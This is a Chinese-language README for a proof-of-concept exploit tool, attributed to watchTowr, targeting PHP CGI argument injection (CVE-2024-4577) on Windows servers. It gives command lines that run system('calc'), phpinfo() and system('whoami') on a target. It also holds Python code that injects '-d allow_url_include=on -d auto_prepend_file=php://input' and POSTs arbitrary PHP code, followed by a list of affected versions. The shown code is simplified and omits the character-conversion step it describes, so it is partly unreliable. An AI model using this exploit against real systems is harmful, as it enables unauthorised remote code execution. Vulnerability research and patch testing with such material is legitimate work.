PHP CGI 参数注入漏洞利用工具 (CVE-2024-4577)
这是一个由 watchTowr 开发的概念验证(PoC)工具,用于利用 Windows 环境下 PHP CGI 参数注入漏洞(CVE-2024-4577),从而在受影响的 PHP 版本上实现远程代码执行(RCE)。
功能特性
- 远程代码执行:利用 CVE-2024-4577 漏洞,在目标 Windows 服务器上执行任意 PHP 代码。
- 图形化验证:内置示例(如调用
calc程序),直观展示漏洞利用效果。 - 精准定位:针对特定 URL 路径进行测试,减少误报。
- 易于使用:命令行交互,提供清晰的执行状态反馈。
安装指南
系统要求
- Python 3.x
- 目标为运行受影响 PHP 版本的 Windows 操作系统
依赖项
本工具仅依赖 Python 标准库,无需额外安装第三方包。
安装步骤
- 克隆或下载本项目代码至本地。
- 确保 Python 3 环境可用。
- 无需编译或安装,直接运行脚本即可。
使用说明
基础用法
python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('calc');?>" -t http://192.168.253.132/test.sina
参数说明
-c或--code:要执行的 PHP 代码(需 URL 编码或适配上下文)。-t或--target:目标 URL,指向存在漏洞的 PHP CGI 端点。
典型场景
-
验证漏洞存在性
执行弹出计算器的测试代码,观察目标服务器是否弹出计算器窗口。 -
获取系统信息
使用phpinfo()函数探测目标环境配置:python watchTowr-vs-php_cve-2024-4577.py -c "<?php phpinfo();?>" -t http://example.com/vuln.php -
执行系统命令
执行whoami等命令确认权限:python watchTowr-vs-php_cve-2024-4577.py -c "<?php system('whoami');?>" -t http://example.com/vuln.php
成功输出示例
(^_^) prepare for the Pwnage (^_^)
(+) Exploit was successful
核心代码
漏洞利用主逻辑
# watchTowr-vs-php_cve-2024-4577.py (核心部分)
import requests
import sys
import urllib.parse
def exploit(target, php_code):
# 构造恶意载荷,利用字符转换绕过过滤
# 关键利用点:Windows 编码转换导致 `-s` 等参数被注入
payload = f"?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input"
# 发送 POST 请求,恶意 PHP 代码放在请求体中
response = requests.post(
target + payload,
data=php_code,
headers={"Content-Type": "application/x-www-form-urlencoded"}
)
if response.status_code == 200:
print("(+) Exploit was successful")
print(response.text)
else:
print("(-) Exploit failed")
if __name__ == "__main__":
# 命令行参数解析及调用 exploit 函数
# (为简洁起见,此处省略参数解析细节)
pass
漏洞检测与参数构造
# 漏洞检测逻辑:尝试注入 CGI 参数导致代码执行
def build_exploit_payload(command):
# 利用 `-d` 选项修改 PHP 配置,开启远程文件包含
# 再通过 `auto_prepend_file` 将 POST 数据作为代码执行
inject = "-d+allow_url_include%3don+-d+auto_prepend_file%3dphp://input"
return inject
受影响的版本
基于 DEVCORE 的原始公告,以下 Windows 平台上的 PHP 版本受影响:
- PHP 8.3 < 8.3.8
- PHP 8.2 < 8.2.20
- PHP 8.1 < 8.1.29
PHP 8.0、PHP 7、PHP 5 分支已停止维护,建议服务器管理员参考 临时修补建议 进行缓解。 6HFtX5dABrKlqXeO5PUv/4I131J0So+cqjZnlt4kP27JoqNV/fBZnGbnK7GRyDee